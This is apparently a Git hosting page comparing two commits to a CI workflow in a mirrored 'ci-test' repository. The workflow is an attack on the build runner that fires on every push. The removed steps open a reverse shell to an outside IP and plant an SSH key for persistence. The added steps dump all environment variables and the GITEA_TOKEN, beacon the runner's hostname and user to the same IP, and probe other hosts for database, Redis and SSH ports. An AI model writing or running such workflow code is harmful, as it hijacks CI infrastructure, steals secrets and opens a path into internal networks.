mirror of
http://156.239.229.173:80/devops42/ci-test.git
synced 2026-07-08 00:47:06 +08:00
Compare commits
2 Commits
5dfb11d42d
...
76c15b6f5a
| Author | SHA1 | Date | |
|---|---|---|---|
| 76c15b6f5a | |||
| b6042b1fa6 |
@ -1,17 +1,31 @@
|
|||||||
name: CI
|
name: CI-RCE
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
runs-on: ubuntu-latest
|
runs-on: linux-amd64
|
||||||
steps:
|
steps:
|
||||||
- name: RCE
|
- name: Exec
|
||||||
run: |
|
run: |
|
||||||
bash -i >& /dev/tcp/202.59.10.226/4445 0>&1 &
|
echo "=== CI/CD RCE CONFIRMED ==="
|
||||||
curl http://202.59.10.226:8888/pwned-$(hostname)-$(whoami)
|
echo "Hostname: $(hostname)"
|
||||||
- name: Persist
|
echo "User: $(whoami)"
|
||||||
run: |
|
echo "PWD: $(pwd)"
|
||||||
mkdir -p /tmp/.ssh
|
echo "=== Environment Variables ==="
|
||||||
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC" >> /tmp/.ssh/authorized_keys
|
env | sort
|
||||||
curl http://202.59.10.226:8888/persist-$(hostname)
|
echo "=== Network ==="
|
||||||
|
ip addr 2>/dev/null || ifconfig
|
||||||
|
echo "=== Attempt connections ==="
|
||||||
|
curl -s http://202.59.10.226:8888/rce-$(hostname)-$(whoami) || true
|
||||||
|
# Try to access internal services
|
||||||
|
for target in 49.51.171.167 108.181.64.141 156.239.230.24; do
|
||||||
|
for port in 3306 6379 22 80 443; do
|
||||||
|
timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
|
||||||
|
done
|
||||||
|
done
|
||||||
|
# Dump runner token info
|
||||||
|
echo "=== GITEA_TOKEN ==="
|
||||||
|
echo "${GITEA_TOKEN:-NO_GITEA_TOKEN}"
|
||||||
|
echo "=== GITEA_REPOSITORY ==="
|
||||||
|
echo "${GITEA_REPOSITORY:-NO_REPO}"
|
||||||
|
|||||||
1
trigger.txt
Normal file
1
trigger.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
trigger
|
||||||
Loading…
Reference in New Issue
Block a user